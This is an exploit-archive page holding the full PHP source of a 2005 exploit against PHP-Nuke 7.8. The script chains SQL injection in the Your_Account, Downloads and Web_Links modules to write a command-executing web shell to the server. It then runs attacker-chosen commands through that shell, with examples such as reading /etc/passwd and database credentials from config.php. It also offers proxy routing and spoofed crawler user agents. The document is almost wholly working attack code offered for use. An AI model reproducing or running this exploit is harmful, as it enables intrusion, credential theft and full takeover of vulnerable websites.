PHP-Nuke 7.8 - SQL Injection / Remote Command Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType
PHP-Nuke 7.8 SQL Injection / Remote Command Execution exploi

                                                &#60;?php
#   20.05 23/10/2005                                                           #
#                                                                              #
#   ---phpnuke_78_xpl.php                                                      #
#                                                                              #
#   PHPNuke 7.8 with all security fixes/patches &#34;Downloads&#34;,&#34;Web_Links&#34; &      #
#   &#34;Your_Account&#34; modules SQL Injection / remote commands execution exploit   #
#   (yet not tested 7.9, but OK...)                                            #
#                                                                              #
#                                 by rgod                                      #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#   make these changes in php.ini if you have troubles                         #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: customize for your own pleasure, launch this script from Apache,    #
#   fill requested fields, then go!                                            #
#                                                                              #
#   Sun-Tzu: &#34;Standing on the defensive indicates insufficient strength;       #
#   attacking, a superabundance of strength&#34;                                   #

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;, 2);
ob_implicit_flush (1);

echo&#39;&#60;html&#62;&#60;head&#62;&#60;title&#62; PHPNuke 7.8   remote  commands  execution &#60;/title&#62;&#60;meta
http-equiv=&#34;Content-Type&#34;  content=&#34;text/html; charset=iso-8859-1&#34;&#62; &#60;style
type=&#34;text/css&#34;&#62; body {	background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black;    CURSOR: crosshair;    color:   #1CB081; }    img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--&#62;&#60;/style&#62;&#60;/head&#62; &#60;body&#62; &#60;p class=&#34;Stile6&#34;&#62;
PHPNuke 7.8 (possibly prior versions) remote commands execution&#60;/p&#62;&#60;p    class=&#34;
Stile6&#34;&#62;a script by rgod at &#60;a href=&#34;http://rgod.altervista.org&#34;target=&#34;_blank&#34;&#62;
http://rgod.altervista.org&#60;/a&#62;&#60;/p&#62;&#60;table width=&#34;84%&#34;&#62;&#60;tr&#62;&#60;td width=&#34;43%&#34;&#62; &#60;form
name=&#34;form1&#34;      method=&#34;post&#34;   action=&#34;&#39;.$SERVER[PHP_SELF].&#39;?path=value&host=
value&port=value&command=value&proxy=value&#34;&#62;&#60;p&#62;&#60;input type=&#34;text&#34;   name=&#34;host&#34;&#62;
&#60;span class=&#34;Stile5&#34;&#62;hostname (ex: www.sitename.com)  &#60;/span&#62;   &#60;/p&#62; &#60;p&#62;  &#60;input
type=&#34;text&#34; name=&#34;path&#34;&#62;&#60;span class=&#34;Stile5&#34;&#62;  path ( ex:  /phpnuke/ or just /)
&#60;/span&#62;&#60;/p&#62;&#60;p&#62; &#60;input type=&#34;text&#34; name=&#34;pathtoWWW&#34;&#62;&#60;span class=&#34;Stile5&#34;&#62;    path
to WWW ftom Mysql directory, need this for &#34;...INTO OUTFILE ...&#34; statement
(default: ../../www) &#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;port&#34; &#62;        &#60;span
class=&#34;Stile5&#34;&#62; specify a port other than 80 (default value)&#60;/span&#62;      &#60;/p&#62;&#60;p&#62;
&#60;input type=&#34;text&#34; name=&#34;command&#34;&#62; &#60;span  class=&#34;Stile5&#34;&#62;a Unix command ,
example: ls -la  to list directories, cat /etc/passwd to show passwd file,   cat
config.php to see database username and password&#60;/span&#62;
&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;proxy&#34;&#62;&#60;span class=&#34;Stile5&#34;&#62;send exploit through
an HTTP proxy (ip:port)&#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;submit&#34;name=&#34;Submit&#34;
value=&#34;go!&#34;&#62;&#60;/p&#62;&#60;/form&#62;&#60;/td&#62;&#60;/tr&#62;&#60;/table&#62;&#60;/body&#62;&#60;/html&#62;&#39;;

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo &#39;&#60;table border=&#34;0&#34;&#62;&#60;tr&#62;&#39;;
while ($ii &#60;= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo &#34;&#60;td&#62;&nbsp;&nbsp;&#60;/td&#62;&#34;;
             for ($li=0; $li&#60;=15; $li++)
                      { echo &#34;&#60;td&#62;&#34;.$headeri[$li+$ki].&#34;&#60;/td&#62;&#34;;
			    }
            $ki=$ki+16;
            echo &#34;&#60;/tr&#62;&#60;tr&#62;&#34;;
            }
if (strlen($datai)==1) {echo &#34;&#60;td&#62;0&#34;.$datai.&#34;&#60;/td&#62;&#34;;} else
{echo &#34;&#60;td&#62;&#34;.$datai.&#34;&#60;/td&#62; &#34;;}
$ii++;
$ji++;
}
for ($li=1; $li&#60;=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo &#34;&#60;td&#62;&nbsp&nbsp&#60;/td&#62;&#34;;
                       }

for ($li=$ci*16; $li&#60;=strlen($headeri); $li++)
                      { echo &#34;&#60;td&#62;&#34;.$headeri[$li].&#34;&#60;/td&#62;&#34;;
			    }
echo &#34;&#60;/tr&#62;&#60;/table&#62;&#34;;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
		              //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket &#60; 0) {
                   echo &#34;socket_create() failed: reason: &#34; . socket_strerror($socket) . &#34;&#60;br&#62;&#34;;
                   }
	      else
 		  {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo &#39;Not a valid prozy...&#39;;
                        die;
                       }
                    echo &#34;OK.&#60;br&#62;&#34;;
                    echo &#34;Attempting to connect to &#34;.$host.&#34; on port &#34;.$port.&#34;...&#60;br&#62;&#34;;
                    if ($proxy==&#39;&#39;)
		   {
		     $result = socket_connect($socket, $host, $port);
		   }
		   else
		   {

		   $parts =explode(&#39;:&#39;,$proxy);
                   echo &#39;Connecting to &#39;.$parts[0].&#39;:&#39;.$parts[1].&#39; proxy...&#60;br&#62;&#39;;
		   $result = socket_connect($socket, $parts[0],$parts[1]);
		   }
		   if ($result &#60; 0) {
                                     echo &#34;socket_connect() failed.\r\nReason: (&#34;.$result.&#34;) &#34; . socket_strerror($result) . &#34;&#60;br&#62;&#60;br&#62;&#34;;
                                    }
	                       else
		                    {
                                     echo &#34;OK.&#60;br&#62;&#60;br&#62;&#34;;
                                     $html= &#39;&#39;;
                                     socket_write($socket, $packet, strlen($packet));
                                     echo &#34;Reading response:&#60;br&#62;&#34;;
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo &#34;Closing socket...&#34;;
                                     socket_close($socket);

				    }
                  }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy==&#39;&#39;)
           {$ock=fsockopen(gethostbyname($host),$port);}
             else
           {
	   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo &#39;Not a valid prozy...&#39;;
                        die;
                       }
	   $parts=explode(&#39;:&#39;,$proxy);
	    echo &#39;Connecting to &#39;.$parts[0].&#39;:&#39;.$parts[1].&#39; proxy...&#60;br&#62;&#39;;
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo &#39;No response from proxy...&#39;;
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy==&#39;&#39;)
  {

    $html=&#39;&#39;;
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

function execute_commands()
{
global $p, $host, $port, $packet, $command, $html;
$packet=&#34;GET &#34;.$p.&#34;shell.php?cmd=&#34;.urlencode($command).&#34; HTTP/1.1\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;:&#34;.$port.&#34;\r\n&#34;;
$packet.=&#34;Connection: CLose\r\n\r\n&#34;;
show($packet);
sendpacketii($packet);
if (eregi(&#34;Hi Master&#34;, $html)) {echo &#34;Exploit succeeded...&#34;; die; }
}


if (($host&#60;&#62;&#39;&#39;) and ($path&#60;&#62;&#39;&#39;) and ($command&#60;&#62;&#39;&#39;))
{
  $port=intval(trim($port));
  if ($port==&#39;&#39;) {$port=80;}
  if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
  if ($pathtoWWW==&#39;&#39;) {$pathtoWWW=&#34;../../www&#34;;}
  #default, path for &#34;INTO OUTFILE &#60;[path][file]&#62;, two dirs up from mysql data directory, change it for
  #different Apache installations
  if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}
  echo $proxy;
# STEP 1 -&#62; SQL injection in &#34;Your_Account&#34; module... inject a shell
$SQL=&#34;&#39;UNION SELECT &#39;&#60;?error_reporting(0);?&#62;&#39;,0,0,0,0,0,0,0,&#39;&#60;?echo \&#34;Hi Master\&#34;;ini_set(\&#34;max_execution_time\&#34;,0);system(\$_GET[cmd]);die;?&#62;&#39;,0 INTO OUTFILE &#39;&#34;.$pathtoWWW.$path.&#34;shell.php&#39; FROM nuke_users/*&#34;;
$data=&#34;username=&#34;.urlencode($SQL).&#34;&user_password=&redirect=&mode=&f=&t=&op=login&#34;;
$packet=&#34;POST &#34;.$p.&#34;modules.php?name=Your_Account HTTP/1.1\r\n&#34;;
$packet.=&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.&#34;:&#34;.$port.$path.&#34;modules.php?name=Your_Account\r\n&#34;;
$packet.=&#34;Accept-Language: it\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;User-Agent: Lycos_Spider_(T-Rex)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;:&#34;.$port.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n&#34;;
$packet.=&#34;Cookie: lang=english\r\n\r\n&#34;;
$packet.=$data;
show($packet);
//sendpacketii($packet);
execute_commands();

#STEP 2 -&#62; if STEP 1 failed, SQL Injection in &#34;Downloads&#34; module...
//we need to use backticks (shell operators, they are not quotes, some chars like &#34;)&#34; are not permitted in urls...
$SQL=&#34;&#39; UNION SELECT &#39;&#60;?echo \&#39;Hi Master\&#39;;print `\$_GET[cmd]`;?&#62;&#39; INTO OUTFILE &#39;&#34;.$pathtoWWW.$path.&#34;shell.php&#39; FROM nuke_downloads_downloads/*&#34;;
$packet=&#34;GET &#34;.$p.&#34;modules.php?name=Downloads&d_op=Add&url=&#34;.urlencode($SQL).&#34;&title=what&description=what HTTP/1.1\r\n&#34;;
$packet.=&#34;User-Agent: SearchExpress Spider0.99\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;:&#34;.$port.&#34;\r\n&#34;;
$packet.=&#34;Connection: CLose\r\n\r\n&#34;;
show($packet);
//sendpacketii($packet);
execute_commands();

#STEP 3 -&#62; if STEP 1 & 2 failed, SQL injection in &#34;Web_Links&#34; module...
$SQL=&#34;&#39; or &#39;x&#39;=&#39;x&#39; UNION SELECT 0,0,0,0,0,0,&#39;Hi Master&#60;?print `\$_GET[cmd]`;?&#62;&#39;,0,0 INTO OUTFILE &#39;&#34;.$pathtoWWW.$path.&#34;shell.php&#39; FROM nuke_links_newlink/*&#34;;
$packet=&#34;GET &#34;.$p.&#34;modules.php?name=Web_Links&l_op=Add&title=what&description=&#34;.urlencode($SQL).&#34;&url=what HTTP/1.1\r\n&#34;;
$packet.=&#34;User-Agent: Web Link Validator 1.5\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;:&#34;.$port.&#34;\r\n&#34;;
$packet.=&#34;Connection: CLose\r\n\r\n&#34;;
show($packet);
sendpacketii($packet);
execute_commands();

//if you are here...
echo &#39;Exploit failed...&#39;;
}
else
{echo &#39;Fill in requested fields, optionally specify a proxy&#39;;}
?&#62;

# milw0rm.com [2005-10-23]
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1